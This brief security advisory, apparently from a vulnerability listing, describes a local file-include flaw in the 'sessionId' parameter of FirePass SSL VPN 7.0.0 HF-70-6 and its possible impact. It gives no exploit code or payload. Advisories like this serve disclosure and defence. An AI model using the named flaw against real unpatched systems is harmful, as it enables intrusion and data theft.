FirePass SSL VPN 'sessionId' Parameter Local File Include Vulnerability

FirePass SSL VPN is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.

FirePass SSL VPN 7.0.0 HF-70-6 is vulnerable; other versions may also be affected.
